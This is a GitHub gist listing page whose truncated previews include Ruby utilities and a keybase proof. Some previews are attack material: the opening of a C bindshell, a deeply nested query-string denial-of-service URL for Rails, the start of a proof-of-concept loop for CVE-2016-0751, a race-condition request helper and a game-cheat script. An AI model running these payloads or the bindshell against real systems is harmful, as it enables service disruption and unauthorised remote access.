Skip to content

Instantly share code, notes, and snippets.

View mrThe's full-sized avatar
🐓

mr.The mrThe

🐓
View GitHub Profile
@mrThe
mrThe / hash_extension.rb
Created March 12, 2013 15:14
Hash#path_exists?(*path) method for check paths in hash
class Hash
def path_exists?(*path)
path.flatten.each do |key|
if key.instance_of? Hash
return false unless self[key.keys.first]
return false unless self[key.keys.first].path_exists?(key.values)
elsif key.instance_of? Array
return self.path_exists?(key)
else
# Ruby Thread Pool
# ================
# A thread pool is useful when you wish to do some work in a thread, but do
# not know how much work you will be doing in advance. Spawning one thread
# for each task is potentially expensive, as threads are not free.
#
# In this case, it might be more beneficial to start a predefined set of
# threads and then hand off work to them as it becomes available. This is
# the pure essence of what a thread pool is: an array of threads, all just
# waiting to do some work for you!
@mrThe
mrThe / bindshell
Created July 19, 2013 17:31
Public C bindshell. /from internet
// See bindshell.asm
#include<stdio.h>
#include<dlfcn.h>
#include<stdio.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
main() {
int soc,cli,soc_len;
@mrThe
mrThe / monitor.sh
Created February 10, 2014 17:18
Shell file changing monitor
# from: http://stackoverflow.com/questions/2972765/linux-script-that-monitors-file-changes-within-folders-like-autospec-does
#!/bin/bash
sha=0
previous_sha=0
update_sha()
{
sha=`ls -lR . | sha1sum`
function Miner(incr, dripK, delay) {
var that = this;
this.incr = incr || localStats.bps*1e3;
this.dripK = dripK || 0.5;
this.delay = delay || 100;
document.hasFocus = function () {return true;};
NO_PINGY=1; // 'pingy' off
// Redefine postEvent
RestEventManager.prototype.postEventData = function(e,t,next)
@mrThe
mrThe / keybase.md
Created April 16, 2015 09:09
keybase.md

Keybase proof

I hereby claim:

  • I am mrThe on github.
  • I am mrthe (https://keybase.io/mrthe) on keybase.
  • I have a public key whose fingerprint is 6D91 6D49 77DF B535 C969 B4F5 9648 F36A BF0A D2A5

To claim this, I am signing this object:

https://groups.google.com/forum/#!topic/rubyonrails-security/gcUbICUmKMc
http://HOSTNAME/?foo[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a]
@mrThe
mrThe / CVE-2016-0751.rb
Created January 28, 2016 14:16
[PoC] CVE-2016-0751
# https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc
require 'uri'
require 'net/http'
require 'securerandom'
uri = URI("http://localhost:3000/") # Target
10000.times do |i|
http = Net::HTTP.new(uri.host, uri.port)
@mrThe
mrThe / Simple_http_race_condition_helper.rb
Created August 3, 2016 08:44
Simple http race condition helper. It can be more usable, but no one cares.
require 'socket'
def create_request(data)
host = '127.0.0.1'
port = 80
request = ''
request << "POST /something.json HTTP/1.1\r\n"
request << "Host: localhost\r\n"
# add here your headers
@mrThe
mrThe / block.rb
Last active November 10, 2016 11:39
Text block generator
def block(str)
chars = str.upcase.chars
size = chars.size
result = Array.new(size) { Array.new(size) { ' ' } }
chars.each_with_index do |char, i|
result[0][i] = char
result[i][i] = char
result[i][0] = char